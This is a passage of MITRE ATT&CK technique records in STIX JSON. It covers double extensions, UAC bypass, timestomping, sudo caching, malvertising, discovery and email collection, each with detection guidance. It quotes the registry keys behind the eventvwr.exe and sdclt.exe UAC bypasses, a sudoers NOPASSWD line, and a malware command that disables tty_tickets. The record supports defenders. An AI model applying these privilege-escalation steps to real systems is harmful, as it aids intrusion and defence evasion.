August 4, 2021."}, {"source_name": "SOCPrime DoubleExtension", "url": "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/", "description": "Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021."}, {"source_name": "Seqrite DoubleExtension", "url": "https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/", "description": "Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021."}], "modified": "2021-10-14T21:09:59.588Z", "name": "Double File Extension", "description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Creation", "File: File Metadata"]}, {"modified": "2023-04-21T12:35:39.112Z", "name": "Bypass User Account Control", "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Stefan Kanthak", "Casey Smith"], "x_mitre_deprecated": false, "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "2.1", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "Command: Command Execution", "Process: Process Creation", "Process: Process Metadata"], "x_mitre_defense_bypassed": ["Windows User Account Control"], "x_mitre_effective_permissions": ["Administrator"], "x_mitre_permissions_required": ["Administrator", "User"], "type": "attack-pattern", "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "created": "2020-01-30T14:24:34.977Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1548/002", "external_id": "T1548.002"}, {"source_name": "Davidson Windows", "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.", "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html"}, {"source_name": "TechNet How UAC Works", "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"}, {"source_name": "SANS UAC Bypass", "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.", "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"}, {"source_name": "MSDN COM Elevation", "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.", "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx"}, {"source_name": "enigma0x3 Fileless UAC Bypass", "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.", "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"}, {"source_name": "enigma0x3 sdclt app paths", "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.", "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/"}, {"source_name": "enigma0x3 sdclt bypass", "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.", "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"}, {"source_name": "TechNet Inside UAC", "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.", "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx"}, {"source_name": "Fortinet Fareit", "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.", "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"}, {"source_name": "Github UACMe", "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", "url": "https://github.com/hfiref0x/UACME"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Romain Dumont, ESET"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", "type": "attack-pattern", "created": "2017-05-31T21:31:12.675Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1099", "url": "https://attack.mitre.org/techniques/T1099"}, {"url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html", "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.", "source_name": "WindowsIR Anti-Forensic Techniques"}], "modified": "2020-02-18T16:56:57.039Z", "name": "Timestomp", "description": "Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Host forensic analysis"], "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", "type": "attack-pattern", "created": "2021-03-17T15:28:10.689Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1016.001", "url": "https://attack.mitre.org/techniques/T1016/001"}], "modified": "2021-03-25T17:03:26.632Z", "name": "Internet Connection Discovery", "description": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", "type": "attack-pattern", "created": "2020-01-30T14:34:44.992Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1548.003", "url": "https://attack.mitre.org/techniques/T1548/003"}, {"url": "https://www.sudo.ws/", "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.", "source_name": "sudo man page 2018"}, {"url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", "source_name": "OSX.Dok Malware"}, {"url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does", "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.", "source_name": "cybereason osx proton"}], "modified": "2022-03-14T16:28:19.781Z", "name": "Sudo and Sudo Caching", "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification", "Command: Command Execution", "Process: Process Creation", "Process: Process Metadata"], "x_mitre_permissions_required": ["User"], "x_mitre_effective_permissions": ["root"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "type": "attack-pattern", "created": "2020-02-20T21:09:55.995Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1560.003", "url": "https://attack.mitre.org/techniques/T1560/003"}, {"url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "source_name": "ESET Sednit Part 2"}], "modified": "2020-03-25T22:48:14.605Z", "name": "Archive via Custom Method", "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Creation", "Script: Script Execution"]}, {"modified": "2023-09-05T20:45:22.041Z", "name": "Modify Cloud Compute Infrastructure", "description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["IaaS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Instance: Instance Metadata", "Instance: Instance Stop", "Snapshot: Snapshot Creation", "Volume: Volume Modification", "Instance: Instance Modification", "Instance: Instance Creation", "Volume: Volume Metadata", "Instance: Instance Start", "Cloud Service: Cloud Service Metadata", "Volume: Volume Creation", "Snapshot: Snapshot Modification", "Snapshot: Snapshot Metadata", "Volume: Volume Deletion", "Snapshot: Snapshot Deletion", "Instance: Instance Deletion"], "type": "attack-pattern", "id": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", "created": "2019-08-30T18:03:05.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1578", "external_id": "T1578"}, {"source_name": "Mandiant M-Trends 2020", "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-19T12:24:40.659Z", "name": "Network Devices", "description": "Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting.\n\nOnce an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices.\n\nAdversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nCompromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Gavin Knapp"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869", "created": "2024-03-28T03:29:35.616Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1584/008", "external_id": "T1584.008"}, {"source_name": "Wired Russia Cyberwar", "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.", "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/"}, {"source_name": "Mandiant Fortinet Zero Day", "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.", "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"}, {"source_name": "Justice GRU 2024", "description": "Office of Public Affairs. (2024, February 15). Justice Department Conducts Court-Authorized Disruption of Botnet Controlled by the Russian Federation\u2019s Main Intelligence Directorate of the General Staff (GRU). Retrieved March 28, 2024.", "url": "https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-17T15:32:39.470Z", "name": "Malvertising", "description": "Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations  online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network\u2019s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. \n\nAdversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary\u2019s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising) \n\nMalvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising)\n\nAdversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Tom Hegel", "Goldstein Menachem", "Hiroki Nagahama, NEC Corporation", "Manikantan Srinivasan, NEC Corporation India", "Pooja Natarajan, NEC Corporation India", "Juan Carlos Campuzano - Mnemo-CERT"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096", "created": "2023-02-21T20:46:57.170Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1583/008", "external_id": "T1583.008"}, {"source_name": "BBC-malvertising", "description": "BBC. (2011, March 29). Spotify ads hit by malware attack. Retrieved February 21, 2023.", "url": "https://www.bbc.com/news/technology-12891182"}, {"source_name": "FBI-search", "description": "FBI. (2022, December 21). Cyber Criminals Impersonating Brands Using Search Engine Advertisement Services to Defraud Users. Retrieved February 21, 2023.", "url": "https://www.ic3.gov/Media/Y2022/PSA221221"}, {"source_name": "sentinelone-malvertising", "description": "Hegel, Tom. (2023, January 19). Breaking Down the SEO Poisoning Attack | How Attackers Are Hijacking Search Results. Retrieved February 21, 2023.", "url": "https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/"}, {"source_name": "spamhaus-malvertising", "description": "Miller, Sarah. (2023, February 2). A surge of malvertising across Google Ads is distributing dangerous malware. Retrieved February 21, 2023.", "url": "https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/"}, {"source_name": "Masquerads-Guardio", "description": "Tal, Nati. (2022, December 28). \u201cMasquerAds\u201d \u2014 Google\u2019s Ad-Words Massively Abused by Threat Actors, Targeting Organizations, GPUs and Crypto Wallets. Retrieved February 21, 2023.", "url": "https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-15T17:26:53.365Z", "name": "Permission Groups Discovery", "description": "Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Daniel Prizmant, Palo Alto Networks", "Yuval Avrahami, Palo Alto Networks", "Microsoft Threat Intelligence Center (MSTIC)"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as <code>kubectl auth can-i</code>.(Citation: K8s Authorization Overview)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers"], "x_mitre_version": "2.5", "x_mitre_data_sources": ["Process: Process Creation", "Group: Group Metadata", "Command: Command Execution", "Application Log: Application Log Content", "Group: Group Enumeration"], "type": "attack-pattern", "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", "created": "2017-05-31T21:30:55.471Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1069", "external_id": "T1069"}, {"source_name": "K8s Authorization Overview", "description": "Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.", "url": "https://kubernetes.io/docs/reference/access-authn-authz/authorization/"}, {"source_name": "CrowdStrike BloodHound April 2018", "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.", "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-29T21:06:03.098Z", "name": "Email Collection", "description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_contributors": ["Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"], "x_mitre_deprecated": false, "x_mitre_detection": "There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line 